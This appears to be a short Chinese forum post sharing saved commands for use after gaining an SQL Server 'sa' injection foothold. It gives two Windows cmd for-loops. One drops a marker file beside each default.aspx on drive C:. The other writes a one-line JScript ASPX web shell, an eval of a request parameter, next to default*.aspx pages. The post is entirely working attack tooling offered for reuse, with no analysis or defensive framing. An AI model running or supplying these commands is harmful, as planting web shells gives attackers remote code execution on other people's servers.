嗯,找了很久的记录才翻到。

sa注入点的时候经常用到。

for %i in (c) do (c: %i:\ & (for /r %j in (*default.aspx) do echo ^xf1433>>%~dpj3.aspx))

好像下面这条更加舒服哦。
for /r c:\ %i in (default*.aspx) do @echo ^<^%^@ Page Language=^"Jscript^"^%^>^<^%eval^(Request.Item[^"c^"],^"unsafe^"^);^%^> > %~$PATH:ixf1432.aspx